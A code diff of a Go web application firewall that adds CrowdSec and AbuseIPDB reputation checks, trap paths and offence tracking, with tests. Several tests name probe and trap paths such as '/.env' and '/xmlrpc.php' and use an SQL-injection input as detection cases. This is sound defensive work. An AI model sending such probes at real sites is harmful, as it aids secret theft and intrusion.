@@ -15,7 +23,23 @@ func (rq *request) blocklistDenied() bool {
rq.blocklisted = len(listedBy) > 0 rq.blocklisted = len(listedBy) > 0
rq.noteListed(listedBy, "listed by a blocklist") rq.noteListed(listedBy, "listed by a blocklist")
return rq.blocklisted && rq.h.config.BlocklistAction == "deny" return rq.blocklisted && rq.h.config.BlocklistAction == deny
}
// crowdSecBanned reports whether a decision of the CrowdSec decision list
// on the client is in force at now. If one is, it notes the list, as
// noteHit does, and bans the client until that decision ends.
func (rq *request) crowdSecBanned(now time.Time) bool {
decision, listed := rq.h.lists.CrowdSecDecision(rq.client, now)
if !listed {
return false
}
rq.noteHit(bans.ReputationHit{Source: rq.h.config.CrowdSecDecisionsURL},
"listed by the CrowdSec decision list")
rq.banForCrowdSec(now, decision)
return true
} }
// dnsblDenied notes the DNSBL zones whose verdict lists the client, as // dnsblDenied notes the DNSBL zones whose verdict lists the client, as
@@ -30,27 +54,68 @@ func (rq *request) dnsblDenied(ctx context.Context) bool {
rq.dnsblListed = len(listedBy) > 0 rq.dnsblListed = len(listedBy) > 0
rq.noteListed(listedBy, "listed by a DNSBL zone") rq.noteListed(listedBy, "listed by a DNSBL zone")
return rq.dnsblListed && rq.h.config.ReputationAction == "deny" return rq.dnsblListed && rq.h.config.ReputationAction == deny
} }
// noteListed adds sources, the URLs of the blocklists or the DNSBL zones // abuseIPDBDenied notes AbuseIPDB, as noteHit does, with the score, when
// that list the client, to the log line's reputation, counts each of them // its score of the client is a hit, and reports whether
// in the metrics, and raises a reputation_hit alert, with reason, for // SWWAF_REPUTATION_ACTION, being deny, refuses the request, as dnsblDenied
// each. // does for a zone. While SWWAF_ABUSEIPDB_KEY is unset it does nothing. A
func (rq *request) noteListed(sources []string, reason string) { // client without a score is checked in the background, by the request's
rq.line.Reputation = append(rq.line.Reputation, sources...) // address, if its history counts an offence, and the request does not
// wait for the answer. The score is then used for each address of the
// client. ctx is the request's own context.
func (rq *request) abuseIPDBDenied(ctx context.Context) bool {
if rq.h.config.AbuseIPDBKey == "" {
return false
}
client := rq.h.clientGroup(rq.client)
held, _ := rq.h.limiter.Client(client)
offender := held.History.Offences != ratelimit.Offences{}
score, hit := rq.h.abuseIPDB.Hit(ctx, client, rq.client, offender)
if !hit {
return false
}
rq.abuseIPDBHit = true
rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score},
"scored by AbuseIPDB at or over SWWAF_ABUSEIPDB_MIN_SCORE")
return rq.h.config.ReputationAction == deny
}
// noteListed notes each of sources, the URLs of the blocklists or the
// DNSBL zones, their keys masked, that list the client, as noteHit does,
// with reason.
func (rq *request) noteListed(sources []string, reason string) {
for _, source := range sources { for _, source := range sources {
rq.h.metrics.ReputationHit(source) rq.noteHit(bans.ReputationHit{Source: source}, reason)
rq.h.alerts.Raise(alerts.Alert{
Event: alerts.EventReputationHit,
Client: rq.client,
Netblock: clientGroup(rq.client),
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
Reason: reason,
Detail: map[string]any{"source": source},
})
} }
} }
// noteHit adds hit's source, which lists the client, to the log line's
// reputation, and hit to the notes of a ban the request makes, counts the
// source in the metrics, and raises a reputation_hit alert with reason,
// whose detail gives hit's source and score.
func (rq *request) noteHit(hit bans.ReputationHit, reason string) {
detail := map[string]any{"source": hit.Source}
if hit.Score != nil {
detail["score"] = *hit.Score
}
rq.line.Reputation = append(rq.line.Reputation, hit.Source)
rq.reputation = append(rq.reputation, hit)
rq.h.metrics.ReputationHit(hit.Source)
rq.h.alerts.Raise(alerts.Alert{
Event: alerts.EventReputationHit,
Client: rq.client,
Netblock: rq.h.clientGroup(rq.client),
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
Reason: reason,
Detail: detail,
})
}
+423
View File
@@ -1,15 +1,22 @@
package proxy_test package proxy_test
import ( import (
"fmt"
"io"
"maps" "maps"
"net/http" "net/http"
"net/netip" "net/netip"
"reflect"
"slices" "slices"
"strconv"
"strings"
"testing" "testing"
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/proxy" "sneak.berlin/go/smallwebwaf/internal/proxy"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation" "sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
) )
@@ -534,6 +541,42 @@ func TestEachZoneThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
} }
} }
func TestZoneKeyIsMaskedInTheLogTheAlertAndTheMetrics(t *testing.T) {
t.Parallel()
const (
key = "abcdefghijklmnopqrstuvwxyz"
keyed = key + ".xbl.dq.spamhaus.net"
masked = "********.xbl.dq.spamhaus.net"
)
s, server, queue := startWithLookups(t, map[string]string{
dnsblZones: keyed, dnsblResolver: noResolver, reputationAction: actionLog,
metricsToken: token,
})
loadVerdicts(server, map[string][]string{fromDE: {keyed}, unplaced: nil})
wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward), masked)
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 || waiting[0].Detail["source"] != masked {
t.Errorf("alerts waiting %+v, want a reputation_hit alert from %s", waiting,
masked)
}
metrics := s.scrape(unplaced)
wantMetric(t, metrics, `smallwebwaf_reputation_hits_total{instance="`+
alertInstance+`",source="`+masked+`"}`, 1)
for name, shown := range map[string]string{
"the log": s.out.text(), "the metrics": metrics,
} {
if strings.Contains(shown, key) {
t.Errorf("%s shows the key:\n%s", name, shown)
}
}
}
func TestRequestFromAClientWithoutAVerdictHasTheZoneAskedAboutIt(t *testing.T) { func TestRequestFromAClientWithoutAVerdictHasTheZoneAskedAboutIt(t *testing.T) {
t.Parallel() t.Parallel()
@@ -562,6 +605,361 @@ func TestRequestFromAClientWithoutAVerdictHasTheZoneAskedAboutIt(t *testing.T) {
} }
} }
// The AbuseIPDB settings, and accountKey, the key the tests set.
const (
abuseIPDBKey = "SWWAF_ABUSEIPDB_KEY"
accountKey = "abuseipdb-key-0123456789abcdef"
)
// abuseipdb is how the request log, the alerts and the metrics name
// AbuseIPDB.
const abuseipdb = reputation.AbuseIPDBSource
// abuseIPDBURL is where newProxy has clients checked with AbuseIPDB: at
// abuseIPDBStandIn, which TestMain registers with Go's default transport,
// through which AbuseIPDB is asked.
const abuseIPDBURL = "abuseipdb://stand-in/api/v2/check"
// abuseIPDBStandIn is a stand-in for AbuseIPDB that gives every client the
// score 100, at once and without the network.
type abuseIPDBStandIn struct{}
// RoundTrip answers req with the score 100.
func (abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error) {
return &http.Response{
StatusCode: http.StatusOK,
Status: "200 OK",
Header: http.Header{},
Body: io.NopCloser(strings.NewReader(`{"data":{"abuseConfidenceScore":100}}`)),
Request: req,
}, nil
}
func TestOnlyAClientThatHasCommittedAnOffenceIsCheckedWithAbuseIPDB(t *testing.T) {
t.Parallel()
forward := requestlog.ActionForward
s, clk, server, _ := startWithLookupsAndClock(t, map[string]string{
abuseIPDBKey: accountKey, rateLimitPerMinute: "2", reputationAction: actionLog,
})
// Neither fromDE, until it breaks a rate limit, nor fromKP, which never
// does, is checked, nor fromDE under the ban that makes.
s.get(fromDE, http.StatusOK, forward)
s.get(fromDE, http.StatusOK, forward)
s.get(fromKP, http.StatusOK, forward)
s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited)
s.get(fromDE, http.StatusForbidden, requestlog.ActionBanned)
wantAbuseIPDBChecks(t, server, 0)
// Once the ban has ended, fromDE's first request has it checked in the
// background, and goes on without its score, which its next request
// finds.
clk.advance(time.Hour)
wantReputation(t, s.get(fromDE, http.StatusOK, forward))
wantAbuseIPDBChecks(t, server, 1)
waitUntil(func() bool { return len(server.AbuseIPDB.Snapshot().Scores) == 1 })
wantReputation(t, s.get(fromDE, http.StatusOK, forward), abuseipdb)
s.get(fromKP, http.StatusOK, forward)
wantAbuseIPDBChecks(t, server, 1)
}
func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends(t *testing.T) {
t.Parallel()
forward := requestlog.ActionForward
// 15 addresses of 2001:db8:1:2::/64, one client, each in a part of it
// of its own.
var addresses []string
for i := 1; i < 16; i++ {
addresses = append(addresses, fmt.Sprintf("2001:db8:1:2:%x::9", i<<12))
}
s, clk, server := startWithClock(t, "", map[string]string{
abuseIPDBKey: accountKey, reputationAction: actionLog,
rateLimitPerMinute: strconv.Itoa(len(addresses)),
})
// The client breaks the rate limit from its first address, which bans
// it for an hour.
for range addresses {
s.get(addresses[0], http.StatusOK, forward)
}
s.get(addresses[0], http.StatusForbidden, requestlog.ActionRateLimited)
clk.advance(time.Hour)
// Once the ban has ended, which set its counters back to zero, a
// request from each of its addresses has it checked once.
for _, address := range addresses {
s.get(address, http.StatusOK, forward)
}
wantAbuseIPDBChecks(t, server, 1)
}
// probePath is the path the ban rule of testRules, probe, matches, and
// blockedPath the one its block rule, blocked, matches.
const (
probePath = "/.env"
blockedPath = "/blocked"
)
func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
// path is what the client asks for, status and action what that
// request is answered and logged with, and want the offences its
// history then counts.
path string
status int
action string
want ratelimit.Offences
}{
{
"a block rule", blockedPath, http.StatusForbidden, requestlog.ActionRuleBlocked,
ratelimit.Offences{RuleBlocked: 1},
},
{
"the Core Rule Set", sqlInjection, http.StatusForbidden,
requestlog.ActionWAFBlocked, ratelimit.Offences{WAFBlocked: 1},
},
{
"a ban rule", probePath, http.StatusForbidden, requestlog.ActionBanned,
ratelimit.Offences{Attack: 1},
},
{
"a trap path", "/xmlrpc.php", http.StatusForbidden, requestlog.ActionBanned,
ratelimit.Offences{Attack: 1},
},
{
"a missing token", proxy.MetricsPath, http.StatusUnauthorized,
requestlog.ActionAdmin, ratelimit.Offences{TokenRefused: 1},
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s, clk, server := startWithClock(t, "", map[string]string{
abuseIPDBKey: accountKey, reputationAction: actionLog,
rulesDir: writeRules(t, testRules), attackBanDuration: "1h",
trapPaths: trapPathList, metricsToken: token, wafMode: block,
})
s.request(client, tc.path, tc.status, tc.action)
wantAbuseIPDBChecks(t, server, 0)
if got := historyOf(t, server, client).Offences; got != tc.want {
t.Errorf("history counts the offences %+v, want %+v", got, tc.want)
}
// Its next request, once any ban for a clear sign of attack
// has ended, has it checked.
clk.advance(time.Hour)
s.get(client, http.StatusOK, requestlog.ActionForward)
wantAbuseIPDBChecks(t, server, 1)
})
}
}
func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(t *testing.T) {
t.Parallel()
forward, denied := requestlog.ActionForward, requestlog.ActionDenied
for _, tc := range []struct {
action string
// statuses and actions are those of fromDE's three requests, and
// percent their limit_percent, as percentText gives it.
statuses []int
actions []string
percent string
}{
{
actionDeny, []int{http.StatusForbidden, http.StatusForbidden, http.StatusForbidden},
[]string{denied, denied, denied}, none,
},
{
// Half of 4 requests a minute: the third breaks the limit.
limitHalf, []int{http.StatusOK, http.StatusOK, http.StatusForbidden},
[]string{forward, forward, requestlog.ActionRateLimited},
"50 from " + reputationAction,
},
{
actionLog, []int{http.StatusOK, http.StatusOK, http.StatusOK},
[]string{forward, forward, forward}, none,
},
} {
t.Run(tc.action, func(t *testing.T) {
t.Parallel()
s, server, _ := startWithLookups(t, map[string]string{
rateLimitPerMinute: fourAMinute, abuseIPDBKey: accountKey,
reputationAction: tc.action,
})
// At SWWAF_ABUSEIPDB_MIN_SCORE, 75 by default, and just under it.
loadScores(server, map[string]int64{fromDE: 75, fromKP: 74})
for i := range 3 {
line := s.get(fromDE, tc.statuses[i], tc.actions[i])
wantReputation(t, line, abuseipdb)
wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting,
tc.percent)
// A request refused for the score is not counted.
counted := line.fields["counts"] != nil
if counted != (tc.actions[i] != denied) {
t.Errorf("request counted %t, logged %s", counted, tc.actions[i])
}
}
// fromKP's score is no hit, and it has the whole limit.
for range 3 {
line := s.get(fromKP, http.StatusOK, forward)
wantReputation(t, line)
wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting,
none)
}
// A refusal for the score makes no ban.
if held := server.Ledger.Snapshot(); tc.action == actionDeny && len(held) != 0 {
t.Errorf("bans %+v, want none", held)
}
})
}
}
func TestAbuseIPDBHitRaisesAnAlertWithTheScoreOncePerCooldownAndIsCounted(
t *testing.T,
) {
t.Parallel()
s, server, queue := startWithLookups(t, map[string]string{
abuseIPDBKey: accountKey, reputationAction: actionLog, metricsToken: token,
})
loadScores(server, map[string]int64{fromDE: 90})
// The second request's alert is a repeat, which the cooldown holds back.
for range 2 {
wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
abuseipdb)
}
// The alert is made as a DNSBL zone's is, with the score besides.
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 || waiting[0].Event != alerts.EventReputationHit ||
waiting[0].Reason != "scored by AbuseIPDB at or over SWWAF_ABUSEIPDB_MIN_SCORE" ||
waiting[0].Detail["source"] != abuseipdb || waiting[0].Detail["score"] != int64(90) ||
queue.Suppressed() != 1 {
t.Errorf("alerts waiting %+v, %d held back, want AbuseIPDB's reputation_hit "+
"with the score 90, and 1", waiting, queue.Suppressed())
}
// The hits, and the checks, none, since no client committed an
// offence, so that the whole budget is left.
metrics := s.scrape(unplaced)
labels := `{instance="` + alertInstance + `",source="` + abuseipdb + `"}`
wantMetric(t, metrics, "smallwebwaf_reputation_hits_total"+labels, 2)
wantMetric(t, metrics, "smallwebwaf_reputation_queries_total"+labels, 0)
wantMetric(t, metrics, "smallwebwaf_reputation_failures_total"+labels, 0)
wantMetric(t, metrics, "smallwebwaf_reputation_daily_budget_remaining"+labels, 900)
}
func TestWithoutAnAbuseIPDBKeyNoClientIsCheckedNorAScoreUsed(t *testing.T) {
t.Parallel()
forward := requestlog.ActionForward
s, clk, server, _ := startWithLookupsAndClock(t, map[string]string{
rateLimitPerMinute: "1", metricsToken: token,
})
loadScores(server, map[string]int64{fromDE: 100})
// fromDE's score is not used, and once it has committed an offence it
// is not checked either.
wantReputation(t, s.get(fromDE, http.StatusOK, forward))
s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited)
clk.advance(time.Hour)
wantReputation(t, s.get(fromDE, http.StatusOK, forward))
wantAbuseIPDBChecks(t, server, 0)
wantNoSeries(t, s.scrape(unplaced), `smallwebwaf_reputation_daily_budget_remaining{`+
`instance="`+alertInstance+`",source="`+abuseipdb+`"}`)
}
func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) {
t.Parallel()
score := int64(90)
listed := []bans.ReputationHit{
{Source: dropURL}, {Source: dnsblZone}, {Source: abuseipdb, Score: &score},
}
for _, tc := range []struct {
name string
// ban sends the requests from the client at from that ban it.
ban func(s *sender, from string)
}{
{"for a broken rate limit", func(s *sender, from string) {
s.get(from, http.StatusOK, requestlog.ActionForward)
s.get(from, http.StatusForbidden, requestlog.ActionRateLimited)
}},
{"for a clear sign of attack", func(s *sender, from string) {
s.request(from, probePath, http.StatusForbidden, requestlog.ActionBanned)
}},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s, _, server, queue := startWithAlerts(t, map[string]string{
rateLimitPerMinute: "1", rulesDir: writeRules(t, testRules),
blocklistURLs: dropURL, blocklistAction: actionLog,
dnsblZones: dnsblZone, dnsblResolver: noResolver,
abuseIPDBKey: accountKey, reputationAction: actionLog,
})
// Every source lists client, and none otherClient, whose score is
// under SWWAF_ABUSEIPDB_MIN_SCORE, 75 by default.
loadLists(t, server, map[string][]string{dropURL: {client}})
loadVerdicts(server, map[string][]string{client: {dnsblZone}, otherClient: nil})
loadScores(server, map[string]int64{client: score, otherClient: 74})
for _, banned := range []struct {
from string
want []bans.ReputationHit
}{{client, listed}, {otherClient, nil}} {
tc.ban(s, banned.from)
held := server.Ledger.Bans(netip.MustParsePrefix(banned.from + "/32"))
if len(held) != 1 || !reflect.DeepEqual(held[0].Notes.Reputation, banned.want) {
t.Errorf("bans of %s %+v, want one whose notes have the reputation %+v",
banned.from, held, banned.want)
}
}
// The alert for each ban carries the same in its notes.
var alerted [][]bans.ReputationHit
for _, alert := range queue.Snapshot().Waiting[alerts.DestinationWebhook] {
if alert.Event == alerts.EventBan {
notes, _ := alert.Detail["notes"].(bans.Notes)
alerted = append(alerted, notes.Reputation)
}
}
if want := [][]bans.ReputationHit{listed, nil}; !reflect.DeepEqual(alerted, want) {
t.Errorf("the ban alerts' notes have the reputation %+v, want %+v",
alerted, want)
}
})
}
}
// listsFetched is when loadLists has the copies fetched. // listsFetched is when loadLists has the copies fetched.
func listsFetched() time.Time { func listsFetched() time.Time {
return time.Date(2026, 10, 5, 0, 0, 0, 0, time.UTC) return time.Date(2026, 10, 5, 0, 0, 0, 0, time.UTC)
@@ -594,6 +992,31 @@ func loadVerdicts(server *proxy.Server, listedBy map[string][]string) {
server.DNSBL.Load(verdicts) server.DNSBL.Load(verdicts)
} }
// loadScores puts into server's AbuseIPDB the score scores gives each
// client, an IPv4 address, fetched at verdictsFetched, as reputation.json
// would at start.
func loadScores(server *proxy.Server, scores map[string]int64) {
kept := make([]reputation.Score, 0, len(scores))
for client, score := range scores {
kept = append(kept, reputation.Score{
Client: netip.MustParsePrefix(client + "/32"), Score: score,
Fetched: verdictsFetched(),
})
}
server.AbuseIPDB.Load(reputation.Checks{Scores: kept})
}
// wantAbuseIPDBChecks checks how many clients server has checked with
// AbuseIPDB.
func wantAbuseIPDBChecks(t *testing.T, server *proxy.Server, want int) {
t.Helper()
if got := server.AbuseIPDB.Checked(); got != want {
t.Errorf("%d clients checked with AbuseIPDB, want %d", got, want)
}
}
// loadLists puts copies of lists into server's lists, by URL, each with // loadLists puts copies of lists into server's lists, by URL, each with
// its lines, fetched at listsFetched, as reputation.json would at start. // its lines, fetched at listsFetched, as reputation.json would at start.
func loadLists(t *testing.T, server *proxy.Server, copies map[string][]string) { func loadLists(t *testing.T, server *proxy.Server, copies map[string][]string) {
+72 -33
View File
@@ -17,6 +17,7 @@ import (
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/anomaly" "sneak.berlin/go/smallwebwaf/internal/anomaly"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
@@ -63,10 +64,19 @@ type request struct {
// limits and for the byte limits. // limits and for the byte limits.
counted bool counted bool
limitPercent, bytesPercent percentage limitPercent, bytesPercent percentage
// attack is true for a request that matched a ban rule or asked for a
// trap path, ruleBlocked for one a block rule refused, wafBlocked for
// one the Core Rule Set refused, and tokenRefused for one refused for a
// missing or wrong token, each an offence its client's history counts.
attack, ruleBlocked, wafBlocked, tokenRefused bool
// blocklisted is true once a blocklist is found to list the client, // blocklisted is true once a blocklist is found to list the client,
// and dnsblListed once a DNSBL zone's verdict is. // dnsblListed once a DNSBL zone's verdict is, and abuseIPDBHit once
blocklisted, dnsblListed bool // AbuseIPDB's score of it is a hit.
start time.Time blocklisted, dnsblListed, abuseIPDBHit bool
// reputation is the reputation sources that list the client, for the
// notes of a ban the request makes.
reputation []bans.ReputationHit
start time.Time
// checked is when the checks were done, and upstreamStart when the // checked is when the checks were done, and upstreamStart when the
// request was handed to the app. // request was handed to the app.
checked time.Time checked time.Time
@@ -135,7 +145,7 @@ func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request {
RequestID: requestID(r, peerTrusted), RequestID: requestID(r, peerTrusted),
PeerIP: peer.String(), PeerIP: peer.String(),
ForwardedFor: strings.Join(forwardedFor, ", "), ForwardedFor: strings.Join(forwardedFor, ", "),
ClientGroup: clientGroup(client).String(), ClientGroup: h.clientGroup(client).String(),
ContentType: r.Header.Get("Content-Type"), ContentType: r.Header.Get("Content-Type"),
RequestHeaders: requestHeaders(r, h.config.LogRequestHeaders), RequestHeaders: requestHeaders(r, h.config.LogRequestHeaders),
HasAuthorization: len(r.Header.Values("Authorization")) > 0, HasAuthorization: len(r.Header.Values("Authorization")) > 0,
@@ -178,22 +188,29 @@ func requestHeaders(r *http.Request, names []string) map[string]string {
} }
// check is the one place where a request can be refused once its client // check is the one place where a request can be refused once its client
// is known, before its body is read or anything reaches the app. It // is known, before anything reaches the app, and before its body is read,
// returns nil to let the request through. The checks of checkClient come // but for the part the Core Rule Set reads. It returns nil to let the
// first, answered with SWWAF_BAN_RESPONSE, or 403 for a block rule, and // request through. The checks of checkClient come first, answered with
// SWWAF_BAN_RESPONSE, or 403 for a block rule or the Core Rule Set, and
// then the size limit, so that a request the rate limits count is counted // then the size limit, so that a request the rate limits count is counted
// even when it is refused for its size. In observe mode a request // even when it is refused for its size. In observe mode a request
// checkClient refuses goes on to the size limit like any other. ctx is // checkClient refuses goes on to the size limit like any other. A size or
// the request's own context. // time limit the Core Rule Set's reading of the body meets ends the
// request in either mode. ctx is the request's own context.
func (rq *request) check(ctx context.Context) *refusal { func (rq *request) check(ctx context.Context) *refusal {
action := rq.checkClient(ctx) action := rq.checkClient(ctx)
refused := rq.refused.Load()
if refused != nil {
return refused
}
switch { switch {
case action == "": case action == "":
case rq.h.config.Observe: case rq.h.config.Observe:
// The log line names what enforce mode would have done. // The log line names what enforce mode would have done.
rq.line.WouldAction = action rq.line.WouldAction = action
case action == requestlog.ActionRuleBlocked: case action == requestlog.ActionRuleBlocked || action == requestlog.ActionWAFBlocked:
return &refusal{status: http.StatusForbidden, action: action} return &refusal{status: http.StatusForbidden, action: action}
default: default:
return rq.banResponse(action) return rq.banResponse(action)
@@ -217,12 +234,14 @@ func (rq *request) check(ctx context.Context) *refusal {
// other client, SWWAF_DENY_NETS comes first, then a ban on its netblock, // other client, SWWAF_DENY_NETS comes first, then a ban on its netblock,
// so that a client either refuses is not looked up, then the lookup of // so that a client either refuses is not looked up, then the lookup of
// its AS number and country, then the country lists, then the blocklists, // its AS number and country, then the country lists, then the blocklists,
// and then the DNSBL zones' verdicts; a request any of them refuses is not // then the CrowdSec decision list, which bans the client it lists, then
// counted for the rate limits. Then come the rate limits, unless the // the DNSBL zones' verdicts, and then AbuseIPDB's score; a request any of
// client is in SWWAF_RATE_LIMIT_EXEMPT_NETS or the request's path is // them refuses is not counted for the rate limits. Then come the
// exempt under SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that every other request // rate limits, unless the client is in SWWAF_RATE_LIMIT_EXEMPT_NETS or the
// is counted, each of them by the client's limit percentages, and last the // request's path is exempt under SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that
// rule files. A request exempt from the rate limits is exempt from the // every other request is counted, each of them by the client's limit
// percentages, then SWWAF_TRAP_PATHS, then the rule files, and last the
// Core Rule Set. A request exempt from the rate limits is exempt from the
// byte limits too. ctx is the request's own context. // byte limits too. ctx is the request's own context.
func (rq *request) checkClient(ctx context.Context) string { func (rq *request) checkClient(ctx context.Context) string {
cfg := rq.h.config cfg := rq.h.config
@@ -250,7 +269,11 @@ func (rq *request) checkClient(ctx context.Context) string {
return requestlog.ActionDenied return requestlog.ActionDenied
} }
if rq.dnsblDenied(ctx) { if rq.crowdSecBanned(now) {
return requestlog.ActionBanned
}
if rq.dnsblDenied(ctx) || rq.abuseIPDBDenied(ctx) {
return requestlog.ActionDenied return requestlog.ActionDenied
} }
@@ -266,15 +289,24 @@ func (rq *request) checkClient(ctx context.Context) string {
return requestlog.ActionRateLimited return requestlog.ActionRateLimited
} }
return rq.checkRules(now) if rq.trapPath(now) {
return requestlog.ActionBanned
}
action := rq.checkRules(now)
if action != "" {
return action
}
return rq.checkCoreRuleSet()
} }
// pathExempt reports whether the rate limits leave out a request for u // pathExempt reports whether a request for u is exempt under prefixes,
// because of SWWAF_RATE_LIMIT_EXEMPT_PATHS: whether its path as sent, the // SWWAF_RATE_LIMIT_EXEMPT_PATHS or SWWAF_WAF_EXEMPT_PATHS: whether its
// path the app receives, not percent-decoded, starts with one of // path as sent, the path the app receives, not percent-decoded, starts
// prefixes, so that /%61ssets/x is not under /assets/ for an app whose // with one of prefixes, so that /%61ssets/x is not under /assets/ for an
// router matches the path as received. A request whose decoded path // app whose router matches the path as received. A request whose decoded
// contains .. anywhere or a backslash, or whose path as sent holds an // path contains .. anywhere or a backslash, or whose path as sent holds an
// encoded slash (%2F or %2f), never is, since an app may act on it as a // encoded slash (%2F or %2f), never is, since an app may act on it as a
// path outside every prefix: /assets/..%2Flogin as /login, or /assets%2Fx // path outside every prefix: /assets/..%2Flogin as /login, or /assets%2Fx
// as one path segment, as Go's router does. // as one path segment, as Go's router does.
@@ -526,21 +558,28 @@ func timing(start, end time.Time) *float64 {
} }
// addToHistory adds the request, which has ended, to its client's // addToHistory adds the request, which has ended, to its client's
// history, and then the lookup's answer about the client, as // history, and counts its offences in the metrics, and then the lookup's
// answerAtTheEnd gives it, to that history and to the notes of the bans // answer about the client, as answerAtTheEnd gives it, to that history and
// on its netblock: an answer may have come before either was there, and // to the notes of the bans on its netblock: an answer may have come
// one from GeoJS that comes later is added when it comes. // before either was there, and one from GeoJS that comes later is added
// when it comes.
func (rq *request) addToHistory() { func (rq *request) addToHistory() {
forwarded := !rq.upstreamStart.IsZero() forwarded := !rq.upstreamStart.IsZero()
request := ratelimit.Request{
rq.h.limiter.AddToHistory(clientGroup(rq.client), rq.h.now(), ratelimit.Request{
Forwarded: forwarded, Forwarded: forwarded,
Refused: !forwarded && rq.refused.Load() != nil, Refused: !forwarded && rq.refused.Load() != nil,
Status: rq.out.status, Status: rq.out.status,
RequestBytes: rq.requestBytes(), RequestBytes: rq.requestBytes(),
ResponseBytes: rq.out.bytes, ResponseBytes: rq.out.bytes,
BrokeLimit: rq.line.Offence == requestlog.OffenceLimit, BrokeLimit: rq.line.Offence == requestlog.OffenceLimit,
}) Attack: rq.attack,
RuleBlocked: rq.ruleBlocked,
WAFBlocked: rq.wafBlocked,
TokenRefused: rq.tokenRefused,
}
rq.h.limiter.AddToHistory(rq.h.clientGroup(rq.client), rq.h.now(), request)
rq.h.metrics.Offences(request)
answer, found := rq.answerAtTheEnd() answer, found := rq.answerAtTheEnd()
if found { if found {
@@ -564,7 +603,7 @@ func (rq *request) countAnomalies() {
rq.h.anomalies.Count(rq.h.now(), anomaly.Request{ rq.h.anomalies.Count(rq.h.now(), anomaly.Request{
Client: rq.client, Client: rq.client,
ClientGroup: clientGroup(rq.client), ClientGroup: rq.h.clientGroup(rq.client),
ASN: answer.ASN, ASN: answer.ASN,
ASName: answer.ASName, ASName: answer.ASName,
Country: answer.Country, Country: answer.Country,
@@ -593,7 +632,7 @@ func (rq *request) answerAtTheEnd() (lookup.Answer, bool) {
return rq.lookupAnswer, true return rq.lookupAnswer, true
} }
return rq.h.geojs.Kept(clientGroup(rq.client)) return rq.h.geojs.Kept(rq.h.clientGroup(rq.client))
} }
// requestBytes is how many bytes of the request's body have been read. // requestBytes is how many bytes of the request's body have been read.
+5 -1
View File
@@ -5,6 +5,7 @@ import (
"net/netip" "net/netip"
"os" "os"
"path/filepath" "path/filepath"
"reflect"
"slices" "slices"
"testing" "testing"
"time" "time"
@@ -73,7 +74,7 @@ func TestEachRuleAction(t *testing.T) {
} }
got := server.Ledger.Bans(netblock) got := server.Ledger.Bans(netblock)
if len(got) != 1 || got[0] != want { if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
t.Fatalf("bans\n%+v\nwant\n%+v", got, want) t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
} }
@@ -203,6 +204,9 @@ func TestMetricsCountRuleMatchesAndBansForAnAttack(t *testing.T) {
wantMetric(t, metrics, `smallwebwaf_rules_loaded{instance="app"}`, 2) wantMetric(t, metrics, `smallwebwaf_rules_loaded{instance="app"}`, 2)
wantMetric(t, metrics, `smallwebwaf_requests_total{action="rule_blocked",`+ wantMetric(t, metrics, `smallwebwaf_requests_total{action="rule_blocked",`+
`instance="app",status_class="4xx"}`, 1) `instance="app",status_class="4xx"}`, 1)
wantMetric(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="rule_blocked"}`, 1)
wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="attack"}`, 1)
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="attack",instance="app"}`, 1) wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="attack",instance="app"}`, 1)
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 0) wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 0)
wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 1) wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 1)
+25 -2
View File
@@ -1,18 +1,38 @@
package proxy package proxy
import ( import (
"slices"
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules" "sneak.berlin/go/smallwebwaf/internal/rules"
) )
// trapPath reports whether the request asks for a path in
// SWWAF_TRAP_PATHS: its path as a path rule sees it, before any decoding
